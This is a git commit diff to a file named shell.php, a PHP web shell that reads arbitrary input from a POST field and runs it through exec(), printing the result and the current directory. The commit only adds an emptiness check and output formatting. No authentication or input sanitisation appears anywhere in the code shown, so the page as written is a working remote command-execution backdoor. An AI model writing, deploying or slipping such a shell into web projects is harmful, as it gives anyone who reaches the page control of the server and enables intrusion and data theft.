Update shell.php

NerdOfLinux · web-flow · commit a56188b07ef5 · 2017-10-20T08:13:46.000-05:00
diff --git a/shell.php b/shell.php
@@ -22,8 +22,11 @@
 $cwd=getcwd();
 echo "<br>Current directory: $cwd<br>";
 $shell = $_POST['query_box'];
-$run = exec("$shell");
-echo "<br><b>Output: $run</b><br>";
+if (!empty($_POST['query_box'])) {
+	$run = exec("$shell");
+	echo "<br><b>Output: </b><br>";
+	echo "<pre>$run</pre>";
+}
 ?>  
 </body>
 </html>
